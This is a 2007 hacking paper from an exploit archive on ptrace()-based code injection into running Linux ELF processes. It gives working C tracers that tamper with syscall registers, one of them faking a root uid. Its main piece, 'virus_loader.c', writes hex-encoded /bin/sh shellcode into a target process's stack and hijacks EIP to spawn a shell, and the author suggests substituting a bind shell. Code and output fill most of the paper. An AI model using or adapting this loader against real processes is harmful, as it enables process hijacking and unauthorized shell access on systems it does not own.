ptrace(): A Linux Virus

EDB-ID:

13061

CVE:

N/A

Author:

Omni

Type:

papers

Platform:

Multiple

Published:

2007-12-18

/================================================================================\
---------------------------------[ PLAYHACK.net ]---------------------------------
\================================================================================/


-[ INFOS ]-----------------------------------------------------------------------
Title: "ptrace(): A Linux Virus"
Author: Omni
Website: http://omni.netsons.org
E-Mail: omni [AT] playhack [dot] net
Date: 2007-12-09 (ISO 8601) 
---------------------------------------------------------------------------------


-[ SUMMARY ]---------------------------------------------------------------------
	0x00: Introduction
	0x01: *Talk* about ptrace()
	0x02: Have fun with ptrace()
	0x03: Injecting codes
	0x04: General Infos
	0x05: Reference
	0x06: Conclusion
---------------------------------------------------------------------------------



---[ 0x00: Introduction ]

Hi dudes! 
I'm back with a new paper concerning the injection of *our codes*
in a process that is running on the local machine! (ELF)


After this "little introduction" (ahahah) I just wanna thanks the playhack.net 
Staff and our *cool* bro str0ke (:P).

-----------------------------------------------------------------------------[/]


---[ 0x01: *Talk* about ptrace() ]

ptrace() is a system call that enables one process to *control* the execution of
another one.
The traced process (the child) behaves normally until it caughts a signal and when 
this occur the process enter in STOPPED state and informs the tracing process 
by a wait() system call. After this the tracing process (the parent) decides what the 
traced process should do (responds). Take in mind that if the traced process 
caughts a SIGKILL it will be killed!

#include <sys/ptrace.h>

long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

The field 'request' is a value that determines the action that has to be performed.

Here below you will find some actions that you can specify in the ptrace() function:

- PTRACE_GETREGS
This copies the child's General Purpose or Floating-Point registers to location
data in the parent.

- PTRACE_SETREGS
This 'request' copies the child's GPR or Floating-Point registers from a location
in the parent. (also take a look at this request: PTRACE_POKEUSR).

- PTRACE_CONT
Restarts the stopped child process.

- PTRACE_KILL
Sends to the child process a SIGKILL (to terminate it)

- PTRACE_ATTACH
Attaches to the process identified by the field pid and make the process 
traced as a child of the tracing process (current process).
As I said before the tracing process became the parent of the traced process
(child) and it will receive notifications from the child events but if a getppid
is called will return the PID of the original parent.

- PTRACE_DETACH
It restarts the stopped child and detaches the tracing process (child) from 
the traced process (*parent*). If ptrace has interrupted a syscall that has
been called (but not executed) the kernel subtract 2 bytes (from EIP) after
PTRACE_DETACH.

If you wanna more informations about ptrace() please read the man pages.
(could be useful).


-----------------------------------------------------------------------------[/]

---[ 0x02: Have fun with ptrace() ]

Now it's time to *Having fun with ptrace()* function!!
In this section I'll try to explain how to (p)trace a process and intercepts
syscall (and modify its arguments). The best way to explain what we have to do 
is to show to you a source code:

/* target1.c */

#include <stdio.h>
#include <unistd.h>

int main() {

	char str[]="Hi\nSup Guys?\n";
	write(0, str, strlen(str)); 
	return 0;

}

/* end target1.c */

(.)Output:

$./target1
Hi
Sup Guys?
$

And here below you will find the tracer1.c code:

/* tracer1.c */

#include <sys/ptrace.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/syscall.h>


int main(int argc, char *argv[]) {

if (argc < 2) {
	printf("please specify the absolute path of the target1\n");
	printf("%s < /path/target1 >\n", argv[0]);
	exit(1);
	}

int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;

pid = fork();

if (pid == 0) { //child

ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent

wait (&status); //wait the child

	while(1) {

	ptrace(PTRACE_SYSCALL, pid, 0, 0);	 //restart the stopped child and send a SIGTRAP when
						//a syscall is called to inspect the arguments
	wait(&status); //wait again the child

	ptrace(PTRACE_GETREGS, pid, 0, &regs);
	orig_syscall = regs.orig_eax; // here I have the original eax (the syscall number)

		if (orig_syscall == SYS_write) { //Is our syscall number the SYS_write ??
		regs.edx = 3;	//set edx to 3 (MAX msg length -> more info here: man write(1) )
		ptrace(PTRACE_SETREGS, pid, 0, &regs); //the the GP register(s)
		}

		}
	}

	ptrace( PTRACE_DETACH, pid, NULL, NULL );
	return 0;

}

/* end of tracer1.c */

(.)Output:

#./tracer1 /home/omni/target1
Hi

#

Ehy what's that? As you can see the output of tracer1 is *Hi\n* ! 
But why? Look at the tracer1.c source code; there is an "important" assignment:

[...]
regs.edx = 3;
[...]

We set the register edx to 3 (maximum length of "string" in our write() syscall).

Look in depth what the tracer1 do:

1. check if the syscall write() is called
2. read the CPU registers
3. set the register edx to 3
4. detach from the process traced

Eg:

write(0, 		-> stdout
"Hi\nSup Guys?\n, 	-> it will print only Hi\n (edx = 3)
3); 			-> modified by edx (edx = 3)


Do you get it? Simple right? ;)


Cool, now I just wanna try to explain an other interesting example; so look
at the source code of target2.c and tracer2.c !!!

/* target2.c */

#include <stdio.h>
#include <unistd.h>

int main() {
	printf( "user id: %d\n", getuid() );
	execl("/bin/csh", "csh", NULL, 0);
	return 0;
}

/* end of target2.c */

(.) Output:
$ ./target2
user id: 1000
%id
uid=1000(omni) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(user)


And now.. tracer2.c :

/* tracer2.c */

#include <sys/ptrace.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/syscall.h>


int main(int argc, char *argv[]) {

if (argc < 2) {
	printf("please specify the absolute path of the target1\n");
	printf("%s < /home/omni/articles/target1 >\n", argv[0]);
	exit(1);
	}

int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;

pid = fork();

if (pid == 0) { //child

ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent

	wait (&status); //wait the child

	while(1) {

	ptrace(PTRACE_SYSCALL, pid, 0, 0);	 //restart the stopped child and send a SIGTRAP when
						//a syscall is called to inspect the arguments
	wait(&status); //wait again the child

	ptrace(PTRACE_GETREGS, pid, 0, &regs);
	orig_syscall = regs.orig_eax; // here I have the original eax (the syscall number)

		if (orig_syscall == SYS_getuid32) {
		regs.ebx = 0;	//set ebx to 0 (root access)
		ptrace(PTRACE_SETREGS, pid, 0, &regs); //the the GP register(s)
		}

		}
	}

	ptrace( PTRACE_DETACH, pid, NULL, NULL );
	return 0;

}

/* end of tracer2.c */


(.) Output:
# ./tracer2 /home/omni/articles/target2
user id: 0
%id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)


Killed!

#

If you read the source code you will find my comments and I thik (/hope) you
will understand; but for lazy people I'll explain the main functions.

[... in the child ...]

ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);

[....]

Just trace the process..

[... in the parent ...]

1. ptrace(PTRACE_SYSCALL, pid, 0, 0);
2. ptrace(PTRACE_GETREGS, pid, 0, &regs);
orig_syscall = regs.orig_eax;

3. if (orig_syscall == SYS_getuid32) {
4. regs.ebx = 0;	
5. ptrace(PTRACE_SETREGS, pid, 0, &regs);
}

[....]

Here is a little bit more difficult but if you understand C this will not be a 
problem ;)

1.   Just *restart* the stopped child and read the syscall arguments
2.   Read the the CPU registers
3/4. If the syscall is SYS_getuid32 set ebx to 0 and "gain" root access
5.   Copy the child registers

And now the /bin/csh shell is *spawned* with root privilege!!

-----------------------------------------------------------------------------[/]

---[ 0x03: Injecting codes.. ]

Injecting codes in a (p)traced ELF is not so difficult; but if you wanna
understand easily how to do it you have to read carefully the code.

Here below we have simple.c (the traced process):

/* simple.c */

#include <stdio.h>
#include <stdlib.h>

int main() {

	char buf[1024];

	scanf("%s", buf);

	printf("-> %s\n", buf);

}

/* end of simple.c */

$ gcc simple.c -o simple
# chmod u+s simple

(.) Output:
$ ./simple
Hi
-> Hi
$

Now it's time of our virus code: (:D)

/* virus_loader.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <linux/ptrace.h>

// shellcode "grepped" from internet (make your own shellcode,
// eg a bind shell)
char virus_payload[] =
	"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
	"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
	"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
	"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
	"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";


//inject func prototype
int inject(pid_t pid, long memaddr, void *buf, int buflen);

int main(int argc, char *argv[]) {

	pid_t pid;			//pid of the ELF that we have to infect
	struct user_regs_struct regs;	//CPU registers
	long address;			//where we will put our virus payload

		if (argc < 2) {
		printf("usage: %s <ELF-pid>\n", argv[0]);
		return -1;
		}

	pid = atoi(argv[1]);
	
		//ATTACH to the pid 
		if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
		perror("ATTACH");
		return -1;
		}

	// Wait the child.. (the *attached* ELF is the child)

	int status = 0;

	wait(&status);

		printf("[+] %d ATTACHED\n", pid);

		//get the CPU registers and put it in our
		//struct regs
		//We will use it soon..
		if (ptrace(PTRACE_GETREGS, pid, &regs, &regs) < 0) {
		perror("GETREGS");
		ptrace(PTRACE_DETACH, pid, NULL, NULL);
		return -1;
		}

	//calculate the address were we have to PUT our 
	//virus payload (we will put it into ESP - 1024)

	printf("[+] Calculating the address of our payload\n");
	address = regs.esp - 1024;


	printf("[+] Virus Payload at address: 0x%.8x\n", address);

		//inject function is called.. (see below)
		if (inject(pid, address, virus_payload, sizeof(virus_payload) - 1) < 0) {
		return -1;
		}

	//EIP now *points* to our virus payload
	regs.eip = address + 2;

		printf("[+] EIP points to virus payload at address: 0x%.8x\n", regs.eip);
		//It's time to set EIP and let its to point
		//to our virus payload 
		if (ptrace(PTRACE_SETREGS, pid, &regs, &regs) < 0) {
		perror("SETREGS");
		ptrace(PTRACE_DETACH, pid, NULL, NULL);
		return -1;
		}

	ptrace(PTRACE_DETACH, pid, NULL, NULL);

    printf("[+] Shell Spawned !!\n");

    return 0;
}

// Injection Function

int inject(pid_t pid, long addr, void *virus, int len) {

	long payload;
	int i = 0;

	//copy virus payload into *address* memory (esp - 1024)
	while (i < len) {
	
	memcpy(&payload, virus, 4);

	//insert the payload into the memory
	if (ptrace(PTRACE_POKETEXT, pid, addr, payload) < 0 ) {
		perror("Inject()");
		ptrace(PTRACE_DETACH, pid, NULL, NULL);
		return -1;
	}

	addr += 4;
	virus += 4;
	i += 4;

	}

	return 0;
}

/* end of virus_loader.c */

Let's try it..

--- [ Shell 1 ] ---

$ ls -al simple
-rwsr-xr-x 1 root root 8148 2007-12-14 19:26 simple*

[suid bit ACTIVATED]

$ ./simple
sh-3.1# id
uid=0(root) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(users)
sh-3.1#

--- [ Shell 2 ] ---

# ps -A | grep simple
 4779 pts/3    00:00:00 simple
# ./virus_loader 4779
[+] 4779 ATTACHED
[+] Calculating the address of our payload
[+] Virus Payload at address: 0xbfb2fe08
[+] EIP points to virus payload at address: 0xbfb2fe0a
[+] Shell Spawned !!
#

Here is a simple example; you can also add your own shellcode (eg a bind shell)
and than give again the control back to the ELF.

-----------------------------------------------------------------------------[/]

---[ 0x04: General Infos ]

- Why is it useful to use ptrace? My opinion is simple; if you are root you can
(WITHOUT LKM) modify syscalls, inject your own codes in a running process and 
much more.. ( eg control a process in runtime!! )

ptrace() is also used by debuggers for tracing syscall, set breakpoints, etc;
and this is a great things because you can do it in User Land.

- Is it possible to trace the same process twice?
No, it's not possible; because if you look here:

/usr/src/linux-***/arch/i386/kernel/ptrace.c

you will find:

if (!(current->ptrace & PT_PTRACED))
		goto out; <- GOTO OUT!!!

-----------------------------------------------------------------------------[/]

---[ 0x05: Reference ]

[1] Man of ptrace()
[2] Building ptrace injecting shellcodes
    (Volume 0x0b, Issue 0x3b, Phile #0x0c of 0x12)

-----------------------------------------------------------------------------[/]

---[ 0x06: Conclusion ]

This is the end of my own article and if you have some comments, questions
or whatever *mail me*! ;)

Please if you find some errors let me know and I will update it soon!

-----------------------------------------------------------------------------[/]


\======================================[EOF]=====================================/

# milw0rm.com [2007-12-18]